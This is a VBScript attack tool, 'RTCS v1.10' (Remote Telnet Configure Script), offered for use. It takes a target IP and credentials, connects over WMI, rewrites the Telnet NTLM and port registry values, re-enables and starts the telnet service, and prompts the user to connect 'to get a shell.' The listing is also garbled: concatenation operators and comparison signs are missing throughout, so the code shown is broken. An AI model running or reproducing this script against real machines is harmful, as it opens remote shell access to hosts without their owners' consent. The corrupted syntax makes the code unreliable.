on error resume next  
set outstreem=wscript.stdout  
if (lcase(right(wscript.fullname,11))="wscript.exe") then  
   set objShell=wscript.createObject("wscript.shell")  
   objShell.Run("cmd.exe /k cscript //nologo "chr(34)wscript.scriptfullnamechr(34))  
   wscript.quit  
end if  
if wscript.arguments.count5 then  
   usage()  
   wscript.echo "Not enough parameters."  
   wscript.quit  
end if  

ipaddress=wscript.arguments(0)  
username=wscript.arguments(1)  
password=wscript.arguments(2)  
ntlm=wscript.arguments(3)  
port=wscript.arguments(4)  
if not isnumeric(ntlm) or ntlm0 or ntlm>2 then  
   usage()  
   wscript.echo "The value of NTML is wrong."  
   wscript.quit  
end if  
if not isnumeric(port) then  
   usage()  
   wscript.echo "The value of port is wrong."  
   wscript.quit  
end if  

usage()  
outstreem.write "Conneting "ipaddress"...."  
set objlocator=createobject("wbemscripting.swbemlocator")  
set objswbemservices=objlocator.connectserver(ipaddress,"root/default",username,password)  
showerror(err.number)  

outstreem.write "Setting NTLM="ntlm"...."  
set objinstance=objswbemservices.get("stdregprov")  
set objmethod=objinstance.methods_("SetDWORDvalue")  
set objinparam=objmethod.inparameters.spawninstance_()  
objinparam.hdefkey=h80000002  
objinparam.ssubkeyname="SOFTWARE\Microsoft\TelnetServer\1.0"  
objinparam.svaluename="NTLM"  
objinparam.uvalue=ntlm  
set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)  
showerror(objoutparam.returnvalue)  

outstreem.write "Setting port="port"...."  
objinparam.svaluename="TelnetPort"  
objinparam.uvalue=port  
set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)  
showerror(objoutparam.returnvalue)  

outstreem.write "Querying state of telnet server...."  
set objswbemservices=objlocator.connectserver(ipaddress,"root\cimv2",username,password)  
set colinstances=objswbemservices.execquery("select * from win32_service where name='tlntsvr'")  
showerror(err.number)  
for each objinstance in colinstances  
if objinstance.startmode="Disabled" then  
   outstreem.write "Telnet server has been disabled. Now changeing start mode to manual...."  
   set objmethod=objinstance.methods_("changestartmode")  
   set objinparam=objmethod.inparameters.spawninstance_()  
   objinparam.startmode="Manual"  
   set objoutparam=objinstance.execmethod_("changestartmode",objinparam)  
   showerror(objoutparam.returnvalue)  
end if  
outstreem.write "Changeing state...."  
if objinstance.started=true then  
   intstatus=objinstance.stopservice()  
   showerror(intstatus)  
   wscript.echo "Target telnet server has been STOP Successfully."  
else  
   intstatus=objinstance.startservice()  
   showerror(intstatus)  
   wscript.echo "Target telnet server has been START Successfully!"  
   wscript.echo "Now, you can try: telnet "ipaddress" "port", to get a shell."  
end if  
next  

function showerror(errornumber)  
if errornumber>0 then  
   wscript.echo "Error!"  
   wscript.quit  
else  
   wscript.echo "OK!"  
end if  
end function  

function usage()  
wscript.echo string(79,"*")  
wscript.echo "RTCS v1.10"  
wscript.echo "Remote Telnet Configure Script, by zzzEVAzzz"  
wscript.echo "Welcome to visite www.isgrey.com"  
wscript.echo "Usage:"  
wscript.echo "cscript "wscript.scriptfullname" targetIP username password NTLMAuthor telnetport"  
wscript.echo "It will auto change state of target telnet server."  
wscript.echo string(79,"*")vbcrlf  
end function